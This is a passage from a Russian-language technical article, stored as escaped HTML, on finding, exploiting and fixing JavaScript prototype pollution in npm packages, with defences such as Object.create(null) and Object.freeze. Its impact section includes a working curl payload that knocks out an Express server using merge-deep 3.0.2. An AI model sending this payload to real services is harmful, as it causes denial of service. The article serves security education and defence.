\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f.<\/p>\n<p>  <\/p>\n<h2 id=\"poisk-prototype-pollution-1\">\u041f\u043e\u0438\u0441\u043a prototype pollution<\/h2>\n<p>  <\/p>\n<p>\u0411\u0435\u0437 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0442\u044f\u0436\u0435\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0418\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043b\u0443\u0447\u0430\u0435, \u043a\u043e\u0433\u0434\u0430 \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c CVE \u0438 \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u043f\u0435\u0439\u043b\u043e\u0434. \u041d\u043e \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434. \u041d\u0430 \u043a\u0430\u043a\u0438\u0435 \u043c\u0435\u0441\u0442\u0430 \u0432 \u043a\u043e\u0434\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435? \u0413\u0434\u0435 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0434\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c?<\/p>\n<p>  <\/p>\n<h3 id=\"kakie-konstrukcii-podverzheny-uyazvimosti\">\u041a\u0430\u043a\u0438\u0435 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438?<\/h3>\n<p>  <\/p>\n<p>\u0427\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e prototype pollution \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u0445 \/ \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u0445:<\/p>\n<p>  <\/p>\n<ul>\n<li>\u0440\u0435\u043a\u0443\u0440\u0441\u0438\u0432\u043d\u043e\u0435 \u0441\u043b\u0438\u044f\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <a href=\"https:\/\/github.com\/jonschlinkert\/merge-deep\">jonschlinkert\/merge-deep<\/a>)<\/li>\n<li>\u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <a href=\"https:\/\/github.com\/jonschlinkert\/clone-deep\">jonschlinkert\/clone-deep<\/a>)<\/li>\n<li>\u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 GET \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0432 JavaScript \u043e\u0431\u044a\u0435\u043a\u0442 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <a href=\"https:\/\/github.com\/AceMetrix\/jquery-deparam\">AceMetrix\/jquery-deparam<\/a>)<\/li>\n<li>\u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 <code>.toml<\/code> \u0438\u043b\u0438 <code>.ini<\/code> \u0432 JavaScript \u043e\u0431\u044a\u0435\u043a\u0442 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <a href=\"https:\/\/github.com\/npm\/ini\">npm\/ini<\/a>)<\/li>\n<\/ul>\n<p>  <\/p>\n<p>\u041c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430\u043a\u043e\u043d\u043e\u043c\u0435\u0440\u043d\u043e\u0441\u0442\u044c: \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0442\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430 \u0432\u0445\u043e\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0442 \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <code>.toml<\/code>) \u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u0443\u044e\u0442 \u0435\u0435 \u0432 JavaScript \u043e\u0431\u044a\u0435\u043a\u0442.<\/p>\n<p>  <\/p>\n<h3 id=\"dinamicheskiy-analiz\">\u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437<\/h3>\n<p>  <\/p>\n<p>\u041d\u0430\u0447\u043d\u0435\u043c \u0441 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e, \u0442\u0430\u043a \u043a\u0430\u043a \u043e\u043d \u043f\u0440\u043e\u0449\u0435 \u0434\u043b\u044f \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0410\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0438 \u0443\u0436\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d \u0432 <a href=\"https:\/\/github.com\/HoLyVieR\/prototype-pollution-nsec18\/tree\/master\/find-vuln\">find-vuln<\/a>:<\/p>\n<p>  <\/p>\n<ol>\n<li>\u0421\u043a\u0430\u0447\u0430\u0442\u044c npm \u043f\u0430\u043a\u0435\u0442.<\/li>\n<li>\u0412\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043a\u0430\u0436\u0434\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0432 \u043f\u0430\u043a\u0435\u0442\u0435, \u0441 \u043f\u0435\u0439\u043b\u043e\u0434\u043e\u043c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430.<\/li>\n<li>\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430 \u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.<\/li>\n<\/ol>\n<p>  <\/p>\n<p>\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a <a href=\"https:\/\/github.com\/HoLyVieR\/prototype-pollution-nsec18\/blob\/master\/find-vuln\/find-vuln.js\">find-vuln.js<\/a> \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043e\u043d \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 <code>constructor.prototype<\/code> \u0438 \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0447\u0430\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043d\u043e \u044d\u0442\u043e\u0442 \u043f\u0440\u043e\u0431\u0435\u043b \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043b\u0435\u0433\u043a\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c.<\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0445\u043e\u0436\u0438\u043c \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u043e\u043c \u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b <a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-28460\">CVE-2020-28460<\/a> \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 <a href=\"https:\/\/github.com\/jonschlinkert\/merge-deep\">merge-deep<\/a>. \u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u044f \u0440\u0435\u043f\u043e\u0440\u0442\u0438\u043b \u0447\u0435\u0440\u0435\u0437 <a href=\"https:\/\/snyk.io\/disclosed-vulnerabilities\">Snyk<\/a>. \u0421 \u043f\u0435\u0440\u0432\u043e\u0439 \u0432\u0441\u0435 \u043f\u0440\u043e\u0448\u043b\u043e \u0433\u043b\u0430\u0434\u043a\u043e, \u0430 \u0432\u043e\u0442 \u0441\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u0432\u044b\u0448\u043b\u0430 \u0437\u0430\u0431\u0430\u0432\u043d\u0430\u044f \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f. \u041f\u043e\u0441\u043b\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0440\u0435\u043f\u043e\u0440\u0442\u0430 \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0434\u043e\u043b\u0433\u043e \u043d\u0435 \u0432\u044b\u0445\u043e\u0434\u0438\u043b \u043d\u0430 \u0441\u0432\u044f\u0437\u044c \u0438 \u0432 \u0438\u0442\u043e\u0433\u0435 \u044d\u0442\u0443 \u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430\u0448\u043b\u0438 GitHub Security Lab, \u0441\u0443\u043c\u0435\u043b\u0438 \u0432\u044b\u0439\u0442\u0438 \u043d\u0430 \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0440\u0430\u043d\u044c\u0448\u0435 \u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 (<a href=\"https:\/\/securitylab.github.com\/advisories\/GHSL-2020-160-merge-deep\">GHSL-2020-160<\/a>).<\/p>\n<p>  <\/p>\n<p>\u0412 \u0446\u0435\u043b\u043e\u043c, \u0432\u043d\u043e\u0441\u044f \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 <a href=\"https:\/\/github.com\/HoLyVieR\/prototype-pollution-nsec18\/blob\/master\/find-vuln\/find-vuln.js\">find-vuln.js<\/a> \u0434\u0430\u0436\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 npm \u043f\u0430\u043a\u0435\u0442\u0430\u0445.<\/p>\n<p>  <\/p>\n<h3 id=\"staticheskiy-analiz\">\u0421\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437<\/h3>\n<p>  <\/p>\n<p>\u0414\u0430\u043d\u043d\u044b\u0439 \u0442\u0438\u043f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0442\u0440\u0443\u0434\u043d\u043e \u0438\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u044b\u043c <code>grep<\/code>-\u043e\u043c, \u043d\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0441\u044c\u043c\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0438\u0441\u043a\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/securitylab.github.com\/tools\/codeql\">CodeQL<\/a>. <a href=\"https:\/\/github.com\/github\/codeql\/tree\/main\/javascript\/ql\/src\/Security\/CWE-915\">\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 CodeQL \u0437\u0430\u043f\u0440\u043e\u0441\u044b<\/a> \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430\u0445\u043e\u0434\u044f\u0442 prototype pollution \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445, \u0445\u043e\u0442\u044f \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u043e\u043a\u0440\u044b\u0442\u044b \u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u0432\u0441\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.<\/p>\n<p>  <\/p>\n<h2 id=\"impakt\">\u0418\u043c\u043f\u0430\u043a\u0442<\/h2>\n<p>  <\/p>\n<p>\u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443, \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u043a prototype pollution. \u041a\u0430\u043a\u043e\u0439 \u0443\u0449\u0435\u0440\u0431 \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043d\u0435\u0441\u0442\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0435?<\/p>\n<p>  <\/p>\n<p>\u0412 NodeJS \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u044d\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 DoS, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <code>Object.prototype.toString()<\/code>) \u0438 \u0432\u0441\u0435 \u0432\u044b\u0437\u043e\u0432\u044b \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0443\u0434\u0443\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435. \u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 <a href=\"https:\/\/github.com\/expressjs\/express\">expressjs\/express<\/a>.<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">$ cat server.js<\/code><\/pre>\n<p>  <\/p>\n<pre><code class=\"javascript\">var merge = require('merge-deep'); var express = require('express'); var bodyParser = require('body-parser');  var app = express();  app.use(bodyParser.json({   type: 'application\/*+json' }));  app.get('\/', function(req, res) {   res.send(&quot;Use the POST method !&quot;); });  app.post('\/', function(req, res) {   merge({}, req.body);   res.send(req.body); });  app.listen(3000, function() {   console.log('Example app listening on port 3000!') });<\/code><\/pre>\n<p>  <\/p>\n<p>\u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440.<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">$ npm i merge-deep@3.0.2 express body-parser $ node server.js<\/code><\/pre>\n<p>  <\/p>\n<p>\u0418 \u0432 \u0434\u0440\u0443\u0433\u043e\u0439 \u0432\u043a\u043b\u0430\u0434\u043a\u0435 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c \u043f\u0435\u0439\u043b\u043e\u0434.<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">$ curl -i localhost:3000 HTTP\/1.1 200 OK ... $ curl -H &quot;Content-Type: application\/javascript+json&quot; --data '{&quot;constructor&quot;:{&quot;keys&quot;:1}}' http:\/\/localhost:3000 HTTP\/1.1 500 Internal Server Error ... $ curl -i localhost:3000                                                                                        HTTP\/1.1 500 Internal Server Error ...<\/code><\/pre>\n<p>  <\/p>\n<p>\u041a\u0430\u043a \u0432\u0438\u0434\u0438\u0442\u0435, \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0435\u0439\u043b\u043e\u0434\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0442\u0435\u0440\u044f\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0434\u0430\u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u044b\u0435 GET \u0437\u0430\u043f\u0440\u043e\u0441\u044b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e express \u0432\u043d\u0443\u0442\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 <code>Object.keys()<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u0438 \u0438\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 \u0447\u0438\u0441\u043b\u043e.<\/p>\n<p>  <\/p>\n<p>\u0417\u0430\u0447\u0430\u0441\u0442\u0443\u044e \u0432 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u0443\u0442\u0438\u0442\u044c \u0434\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430. \u041a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0448\u0430\u0431\u043b\u043e\u043d\u0438\u0437\u0430\u0442\u043e\u0440\u044b. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0432 \u0441\u0442\u0430\u0442\u044c\u044f\u0445 \u043d\u0438\u0436\u0435.<\/p>\n<p>  <\/p>\n<ul>\n<li><a href=\"https:\/\/blog.p6.is\/AST-Injection\/\">AST Injection, Prototype Pollution to RCE<\/a><\/li>\n<li><a href=\"https:\/\/blog.p6.is\/Real-World-JS-1\/\">Real-world JS \u2014 1<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/HoLyVieR\/prototype-pollution-nsec18\/blob\/master\/paper\/JavaScript_prototype_pollution_attack_in_NodeJS.pdf\">Prototype pollution attack in NodeJS application<\/a><\/li>\n<\/ul>\n<p>  <\/p>\n<h1 id=\"zaschita\">\u0417\u0430\u0449\u0438\u0442\u0430<\/h1>\n<p>  <\/p>\n<p>\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u043f\u043e-\u0440\u0430\u0437\u043d\u043e\u043c\u0443, \u043d\u0430\u0447\u043d\u0435\u043c \u0441 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.<\/p>\n<p>  <\/p>\n<h3 id=\"chernyy-spisok-poley\">\u0427\u0435\u0440\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u043e\u043b\u0435\u0439<\/h3>\n<p>  <\/p>\n<p>\u0427\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e\u0442 <code>__proto__<\/code> \u0447\u0435\u0440\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0438 \u043d\u0435 \u043a\u043e\u043f\u0438\u0440\u0443\u044e\u0442 \u044d\u0442\u043e \u043f\u043e\u043b\u0435. \u0422\u0430\u043a \u0434\u0435\u043b\u0430\u044e\u0442 \u0434\u0430\u0436\u0435 \u043e\u043f\u044b\u0442\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <a href=\"https:\/\/github.com\/npm\/ini\/commit\/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1\">\u043a\u0435\u0439\u0441 npm\/ini<\/a>).<\/p>\n<p>  <\/p>\n<p>\u0422\u0430\u043a\u043e\u0439 \u0444\u0438\u043a\u0441 \u043b\u0435\u0433\u043a\u043e \u043e\u0431\u043e\u0439\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f <code>constructor.prototype<\/code> \u0432\u043c\u0435\u0441\u0442\u043e <code>__proto__<\/code>.<\/p>\n<p>  <\/p>\n<p>\u0421 \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u044d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u043f\u0440\u043e\u0441\u0442 \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u0447\u0430\u0441\u0442\u0443\u044e \u0435\u0433\u043e \u0445\u0432\u0430\u0442\u0430\u0435\u0442 \u0434\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043e\u043d \u043d\u0435 \u0438\u0441\u043a\u043e\u0440\u0435\u043d\u044f\u0435\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432\u0441\u0435 \u0435\u0449\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f <code>Object.prototype<\/code> \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u043e\u0432.<\/p>\n<p>  <\/p>\n<h3 id=\"objectcreatenull\"><code>Object.create(null)<\/code><\/h3>\n<p>  <\/p>\n<p>\u041c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442 \u0431\u0435\u0437 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u0430, \u0442\u043e\u0433\u0434\u0430 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u0430 \u0431\u0443\u0434\u0435\u0442 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; var o = Object.create(null) &lt; undefined &gt; o.__proto__ &lt; undefined<\/code><\/pre>\n<p>  <\/p>\n<p>\u041c\u0438\u043d\u0443\u0441 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u043b\u044c\u0448\u0435 \u044d\u0442\u043e\u0442 \u043e\u0431\u044a\u0435\u043a\u0442 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u043e\u043c\u0430\u0442\u044c \u0447\u0430\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0430. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u0442\u043e-\u0442\u043e \u0437\u0430\u0445\u043e\u0447\u0435\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043d\u0430 \u044d\u0442\u043e\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u0435 <code>toString()<\/code> \u0438 \u0432 \u043e\u0442\u0432\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442 <code>undefined<\/code>.<\/p>\n<p>  <\/p>\n<h3 id=\"objectfreeze\"><code>Object.freeze()<\/code><\/h3>\n<p>  <\/p>\n<p>\u0415\u0449\u0435 \u043e\u0434\u0438\u043d \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u044d\u0442\u043e &quot;\u0437\u0430\u043c\u043e\u0440\u043e\u0437\u0438\u0442\u044c&quot; <code>Object.prototype<\/code> \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/JavaScript\/Reference\/Global_Objects\/Object\/freeze\"><code>Object.freeze()<\/code><\/a>. \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e <code>Object.prototype<\/code> \u043d\u0435\u043b\u044c\u0437\u044f \u0431\u0443\u0434\u0435\u0442 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c.<\/p>\n<p>  <\/p>\n<p>\u041e\u0434\u043d\u0430\u043a\u043e \u0435\u0441\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u0432\u043e\u0434\u043d\u044b\u0445 \u043a\u0430\u043c\u043d\u0435\u0439:<\/p>\n<p>  <\/p>\n<ul>\n<li>\u041c\u043e\u0433\u0443\u0442 \u0441\u043b\u043e\u043c\u0430\u0442\u044c\u0441\u044f \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0442 <code>Object.prototype<\/code>.<\/li>\n<li>\u0412 \u043e\u0431\u0449\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u0430\u043c 